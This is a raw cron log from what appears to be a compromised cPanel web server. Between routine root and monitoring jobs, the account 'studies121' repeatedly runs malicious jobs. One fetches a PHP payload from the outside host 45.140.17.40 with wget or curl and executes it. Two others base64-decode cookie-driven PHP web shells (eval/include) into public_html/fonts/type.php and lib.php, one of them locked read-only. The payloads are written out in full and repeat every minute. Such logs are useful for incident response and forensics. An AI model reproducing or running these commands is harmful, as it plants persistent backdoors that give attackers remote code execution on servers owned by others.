Sep 11 21:28:01 ip-184-168-122-23 CROND[6859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:28:01 ip-184-168-122-23 CROND[6862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:28:01 ip-184-168-122-23 CROND[6861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:28:01 ip-184-168-122-23 CROND[6863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:28:01 ip-184-168-122-23 CROND[6864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:29:01 ip-184-168-122-23 CROND[6957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:29:01 ip-184-168-122-23 CROND[6958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:29:01 ip-184-168-122-23 CROND[6959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:29:01 ip-184-168-122-23 CROND[6960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:30:01 ip-184-168-122-23 CROND[7051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:30:01 ip-184-168-122-23 CROND[7052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:30:01 ip-184-168-122-23 CROND[7054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:30:01 ip-184-168-122-23 CROND[7059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:30:01 ip-184-168-122-23 CROND[7060]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:30:01 ip-184-168-122-23 CROND[7061]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:30:01 ip-184-168-122-23 CROND[7058]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:30:01 ip-184-168-122-23 CROND[7062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:31:02 ip-184-168-122-23 CROND[7158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:31:02 ip-184-168-122-23 CROND[7161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:31:02 ip-184-168-122-23 CROND[7160]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 21:31:02 ip-184-168-122-23 CROND[7162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:31:02 ip-184-168-122-23 CROND[7163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:32:01 ip-184-168-122-23 CROND[7336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:32:01 ip-184-168-122-23 CROND[7340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:32:01 ip-184-168-122-23 CROND[7338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:32:01 ip-184-168-122-23 CROND[7339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:32:01 ip-184-168-122-23 CROND[7341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:33:01 ip-184-168-122-23 CROND[7428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:33:01 ip-184-168-122-23 CROND[7431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:33:01 ip-184-168-122-23 CROND[7430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:33:01 ip-184-168-122-23 CROND[7432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:34:01 ip-184-168-122-23 CROND[7522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:34:01 ip-184-168-122-23 CROND[7523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:34:01 ip-184-168-122-23 CROND[7524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:34:01 ip-184-168-122-23 CROND[7526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:34:01 ip-184-168-122-23 CROND[7525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:35:01 ip-184-168-122-23 CROND[7634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:35:01 ip-184-168-122-23 CROND[7636]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 21:35:01 ip-184-168-122-23 CROND[7637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:35:01 ip-184-168-122-23 CROND[7639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:35:01 ip-184-168-122-23 CROND[7638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:35:01 ip-184-168-122-23 CROND[7640]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 21:35:01 ip-184-168-122-23 CROND[7641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:35:02 ip-184-168-122-23 CROND[7644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:36:01 ip-184-168-122-23 CROND[7747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:36:01 ip-184-168-122-23 CROND[7746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:36:01 ip-184-168-122-23 CROND[7749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:36:01 ip-184-168-122-23 CROND[7750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:36:01 ip-184-168-122-23 CROND[7751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:37:01 ip-184-168-122-23 CROND[7924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:37:01 ip-184-168-122-23 CROND[7922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:37:01 ip-184-168-122-23 CROND[7923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:37:01 ip-184-168-122-23 CROND[7925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:38:02 ip-184-168-122-23 CROND[8001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:38:02 ip-184-168-122-23 CROND[8002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:38:02 ip-184-168-122-23 CROND[8004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:38:02 ip-184-168-122-23 CROND[8003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 21:38:02 ip-184-168-122-23 CROND[8005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:39:01 ip-184-168-122-23 CROND[8094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 21:39:01 ip-184-168-122-23 CROND[8097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:39:01 ip-184-168-122-23 CROND[8096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 21:39:01 ip-184-168-122-23 CROND[8099]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 21:39:01 ip-184-168-122-23 CROND[8098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
